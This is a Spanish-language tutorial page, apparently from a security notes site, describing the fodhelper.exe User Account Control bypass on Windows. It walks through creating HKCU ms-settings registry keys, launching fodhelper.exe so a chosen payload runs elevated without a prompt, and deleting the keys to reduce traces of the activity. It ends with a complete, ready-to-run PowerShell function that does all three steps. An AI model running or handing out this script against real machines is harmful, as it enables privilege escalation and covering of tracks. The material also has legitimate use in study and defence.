Bypass UAC utilizando FodhelperUACBypass.ps1

Fodhelper.exe en Profundidad

Fodhelper.exe es un ejecutable de Windows que forma parte del sistema operativo y se encuentra en la carpeta System32. Este ejecutable está diseñado para permitir que los usuarios ejecuten funciones auxiliares del Panel de Control de Windows. Lo que es notable desde una perspectiva de seguridad es que fodhelper.exe se ejecuta con privilegios elevados sin provocar una solicitud de UAC, lo que proporciona una oportunidad tentadora para los actores de amenazas de eludir los controles de UAC.

Técnica de Bypass de UAC utilizando Fodhelper.exe

Pre-requisitos

  1. Ambiente: Sistema operativo Windows con UAC habilitado.

  2. Privilegios: Acceso inicial con privilegios de usuario estándar.

Proceso detallado

Paso 1: Manipulación del Registro de Windows

El primer paso para ejecutar el bypass de UAC usando fodhelper.exe implica realizar cambios en el Registro de Windows. La técnica emplea la creación de claves de registro específicas que alteran el comportamiento de fodhelper.exe:

  • Crear una nueva clave de registro en HKCU:\Software\Classes\ms-settings\Shell\Open\command.

  • Establecer la propiedad (default) de la clave HKCU:\Software\Classes\ms-settings\Shell\Open\command para que apunte al payload malicioso que se desea ejecutar.

  • Establecer la propiedad DelegateExecute de la misma clave a una cadena vacía para asegurarse de que la cadena de comandos sea interpretada y ejecutada adecuadamente.

Paso 2: Ejecución de Fodhelper.exe

Posteriormente, cuando fodhelper.exe es ejecutado, Windows intenta abrir la aplicación asociada con la configuración y, debido a las manipulaciones realizadas en el registro, ejecutará el payload malicioso especificado con privilegios elevados sin presentar la notificación de UAC al usuario.

Paso 3: Limpieza

Tras la ejecución del payload, es prudente eliminar las claves de registro creadas para reducir los rastros de la actividad maliciosa y evitar posibles problemas derivados de la manipulación del registro.

Implementación de la Técnica en PowerShell

<#
.SYNOPSIS  
    This script can bypass User Access Control (UAC) via fodhelper.exe
 
    It creates a new registry structure in: "HKCU:\Software\Classes\ms-settings\" to perform UAC bypass and starts 
    an elevated command prompt. 
 
.EXAMPLE  
 
     Load "cmd /c start C:\Windows\System32\cmd.exe" (it's default):
     FodhelperUACBypass 
 
     Load specific application:
     FodhelperUACBypass -program "cmd.exe"
     FodhelperUACBypass -program "cmd.exe /c powershell.exe" 
#>

function FodhelperUACBypass(){ 
 Param (
           
        [String]$program = "cmd /c start C:\Windows\System32\cmd.exe" #default
       )
 
    #Create Registry Structure
    New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
    New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
    Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force
 
    #Start fodhelper.exe
    Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
 
    #Cleanup
    Start-Sleep 3
    Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
 
}

Última actualización

¿Te fue útil?